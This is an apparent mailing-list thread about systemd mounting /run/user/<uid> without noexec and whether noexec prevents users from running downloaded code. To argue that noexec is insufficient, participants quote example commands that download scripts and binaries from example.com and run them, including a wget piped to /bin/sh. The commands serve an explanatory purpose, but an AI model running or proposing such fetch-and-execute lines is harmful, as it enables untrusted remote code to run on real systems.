Mount options of /var/run/users/<pid>

[Павел Самсонов]

Good day, I see a new Debian jessie, and I mean, that /var/run/<pid>
filesystems must be mounted with noexec options, so thay have user write
access. On some installations this very important. Were I may configure
this, or may be You change your default mount options?
Sorry my English, best regards, Pavel, Russia.

[Reindl Harald]

Post by Павел Самсонов
Good day, I see a new Debian jessie, and I mean, that /var/run/<pid>
filesystems must be mounted with noexec options, so thay have user write
access. On some installations this very important. Were I may configure
this, or may be You change your default mount options?
Sorry my English, best regards, Pavel, Russia

in case of services you should consider "ProtectSystem" and
"ProtectHome" which makes "/run/user" completly inaccessible

normally the serivce itself has no business to mangle around there

ProtectSystem=
Takes a boolean argument or "full". If true, mounts the /usr directory
read-only for processes invoked by this unit. If set to "full", the /etc
directory is mounted read-only, too. This setting ensures that any
modification of the vendor supplied operating system (and optionally its
configuration) is prohibited for the service. It is recommended to
enable this setting for all long-running services, unless they are
involved with system updates or need to modify the operating system in
other ways. Note however that processes retaining the CAP_SYS_ADMIN
capability can undo the effect of this setting. This setting is hence
particularly useful for daemons which have this capability removed, for
example with CapabilityBoundingSet=. Defaults to off.

ProtectHome=
Takes a boolean argument or "read-only". If true, the directories /home
and /run/user are made inaccessible and empty for processes invoked by
this unit. If set to "read-only", the two directories are made read-only
instead. It is recommended to enable this setting for all long-running
services (in particular network-facing ones), to ensure they cannot get
access to private user data, unless the services actually require access
to the user's private data. Note however that processes retaining the
CAP_SYS_ADMIN capability can undo the effect of this setting. This
setting is hence particularly useful for daemons which have this
capability removed, for example with CapabilityBoundingSet=. Defaults to
off.

[Zbigniew Jędrzejewski-Szmek]

Post by Павел Самсонов
Good day, I see a new Debian jessie, and I mean, that /var/run/<pid>
filesystems must be mounted with noexec options, so thay have user write
access. On some installations this very important. Were I may configure
this, or may be You change your default mount options?
Sorry my English, best regards, Pavel, Russia.

No, I don't think this can be configured anywhere, since the options are
specified somewhere in systemd code. Maybe the options should be changed
to be more restricitive.

Zbyszek

[Lennart Poettering]

Post by Павел Самсонов
Good day, I see a new Debian jessie, and I mean, that /var/run/<pid>
filesystems must be mounted with noexec options, so thay have user write
access. On some installations this very important. Were I may configure
this, or may be You change your default mount options?
Sorry my English, best regards, Pavel, Russia.

I cannot parse this. Do you mean /run/user/<uid>? /var/run/<pid> is
not a separate mount, /run is, and that is not user writable.

The /run/user/<uid> directory is mounted to implement
XDG_RUNTIME_DIR. We guarantee certain functionality on it, including
the ability to have executable files there, and that's specified in
the XDG_RUNTIME_DIR spec.

Hence, the only way to change it is by patching logind, and we will
not add a configuration option for this, since it would mean
XDG_RUNTIME_DIR would not provide what it's supposed to provide
anymore.

Note though that /run/user/<uid> is mounted as per-user tmpfs
instance, with nosuid and nodev, and a size limit applied. It should
hence be a pretty safe thing.

Also note that "noexec" doesn't really do what people think it does.

Lennart

[Павел Самсонов]

If I have multiuser Linux installation with shell and DE access, my users
have not places in system, where they able download something from internet
and execute:
/ ro,exec
/home rw,noexec
/var rw,noexec
All tmpfs noexec
In Debian wheezy this done and work.
In Debian jessie I have places (/run/users/*), where users may execute
dowloaded executables. What I must do with this?
Sorry my english.

Post by Lennart Poettering

Post by Павел Самсонов
Good day, I see a new Debian jessie, and I mean, that /var/run/<pid>
filesystems must be mounted with noexec options, so thay have user write
access. On some installations this very important. Were I may configure
this, or may be You change your default mount options?
Sorry my English, best regards, Pavel, Russia.

I cannot parse this. Do you mean /run/user/<uid>? /var/run/<pid> is
not a separate mount, /run is, and that is not user writable.
The /run/user/<uid> directory is mounted to implement
XDG_RUNTIME_DIR. We guarantee certain functionality on it, including
the ability to have executable files there, and that's specified in
the XDG_RUNTIME_DIR spec.
Hence, the only way to change it is by patching logind, and we will
not add a configuration option for this, since it would mean
XDG_RUNTIME_DIR would not provide what it's supposed to provide
anymore.
Note though that /run/user/<uid> is mounted as per-user tmpfs
instance, with nosuid and nodev, and a size limit applied. It should
hence be a pretty safe thing.
Also note that "noexec" doesn't really do what people think it does.
Lennart
--
Lennart Poettering, Red Hat

[Simon McVittie]

Post by Павел Самсонов
If I have multiuser Linux installation with shell and DE access, my
users have not places in system, where they able download something from

...

Post by Павел Самсонов
/home rw,noexec

noexec is not sufficient to do what you have said. For instance, your
users could do any of these:

wget http://example.com/malware.sh
/bin/sh malware.sh

wget -O - http://example.com/malware.sh | /bin/sh

wget http://example.com/malware.x86.bin
/lib/ld-linux.so.2 malware.x86.bin

(Or replace /bin/sh with Python, Perl etc., or the x86 executable with
any architecture your machine can run.)

Users who can execute arbitrary code with their own privileges, and
obtain arbitrary files from the Internet, can execute arbitrary code
from the Internet with their own privileges. You are unlikely to be able
to avoid this without LSMs.

If you use an LSM (AppArmor, SELinux, etc.) and "confine" your users,
you might be able to achieve what you think you have already achieved.

[Mantas Mikulėnas]

On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie <

Post by Simon McVittie
wget http://example.com/malware.x86.bin
/lib/ld-linux.so.2 malware.x86.bin

Pretty sure this no longer works; these days noexec prevents
mmap(PROT_EXEC) as well.

[Reindl Harald]

Post by Mantas Mikulėnas
On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie
wget http://example.com/malware.__x86.bin
<http://example.com/malware.x86.bin>
/lib/ld-linux.so.2 malware.x86.bin
Pretty sure this no longer works; these days noexec prevents
mmap(PROT_EXEC) as well

you should not assume when you can try it simple

frankly we mount most data-partitions noexec even if they contain
cronjobs which get the full interpreter and the script path by intention

[***@arrakis:~]$ mount | grep dune
/dev/sdf1 on /Volumes/dune type ext4
(rw,noexec,noatime,nodiratime,commit=30,inode_readahead_blks=16)
[***@arrakis:~]$ touch /Volumes/dune/test.sh
[***@arrakis:~]$ echo "ls /boot/" > /Volumes/dune/test.sh
[***@arrakis:~]$ bash /Volumes/dune/test.sh
config-3.18.7-100.fc20.x86_64 grub2
initramfs-3.18.7-100.fc20.x86_64.img initrd-plymouth.img lost+found
System.map-3.18.7-100.fc20.x86_64 vmlinuz-3.18.7-100.fc20.x86_64

[Mantas Mikulėnas]

Post by Reindl Harald

Post by Mantas Mikulėnas
On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie
wget http://example.com/malware.__x86.bin
<http://example.com/malware.x86.bin>
/lib/ld-linux.so.2 malware.x86.bin
Pretty sure this no longer works; these days noexec prevents
mmap(PROT_EXEC) as well

you should not assume when you can try it simple
[...]
config-3.18.7-100.fc20.x86_64 grub2 initramfs-3.18.7-100.fc20.x86_64.img
initrd-plymouth.img lost+found System.map-3.18.7-100.fc20.x86_64
vmlinuz-3.18.7-100.fc20.x86_64

And you should not reply before you read the actual post, in which I
specifically reply to a comment about ld-linux.so – not script
interpreters, which don't rely on this function.

# mount | grep /test
/test.img on /mnt/test type ext4 (rw,noexec,relatime,data=ordered)
# cp -a /bin/echo /mnt/test/echo
# chmod a+rx /mnt/test/echo
# /usr/lib/ld-linux-x86-64.so.2 /mnt/test/echo
/mnt/test/echo: error while loading shared libraries: /mnt/test/echo:
failed to map segment from shared object
# strace /usr/lib/ld-linux-x86-64.so.2 /mnt/test/echo
open("/mnt/test/echo", O_RDONLY|O_CLOEXEC) = 3
mmap(0x400000, 28672, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = -1 EPERM (Operation not
permitted)
#

[Reindl Harald]

Post by Mantas Mikulėnas
On Mon, Feb 16, 2015 at 9:16 PM, Simon McVittie
wget http://example.com/malware.____x86.bin
<http://example.com/malware.__x86.bin>
<http://example.com/malware.__x86.bin
<http://example.com/malware.x86.bin>>
/lib/ld-linux.so.2 malware.x86.bin
Pretty sure this no longer works; these days noexec prevents
mmap(PROT_EXEC) as well
you should not assume when you can try it simple
[...]
config-3.18.7-100.fc20.x86_64 grub2
initramfs-3.18.7-100.fc20.x86___64.img initrd-plymouth.img
lost+found System.map-3.18.7-100.fc20.__x86_64
vmlinuz-3.18.7-100.fc20.x86_64
And you should not reply before you read the actual post, in which I
specifically reply to a comment about ld-linux.so – not script
interpreters, which don't rely on this function

the context was about "can you prevent a user from execute something
with noexec" and fact is you can't - period

likely you missed the "wget -O - http://example.com/malware.sh |
/bin/sh" in the post explaining it.... it's the part you stripped from
your quote (maybe not post HTML would have kept it readbale)

[Lennart Poettering]

Post by Павел Самсонов
If I have multiuser Linux installation with shell and DE access, my users
have not places in system, where they able download something from internet
/ ro,exec
/home rw,noexec
/var rw,noexec
All tmpfs noexec
In Debian wheezy this done and work.
In Debian jessie I have places (/run/users/*), where users may execute
dowloaded executables. What I must do with this?

As mentioned already. We do not support mounting /run/user/* with
other mount options, and this is unlikely to hange. WHat you are
trying to do does not provide any security (as discussed in this
thread otherwise), and thus this is something we are unlikely to
consider to support.

Sorry,

Lennart

[Павел Самсонов]

Thanks for all.

I solve my problem with pam_exec for /etc/pam.d/login,
/etc/pam.d/gdm-password by adding:
session require pam_exec.so /sbin/resources

/sbin/resources:
#!/bin/bash
mount $XDG_RUNTIME_DIR -o remount,noexec

I mean this tread closed.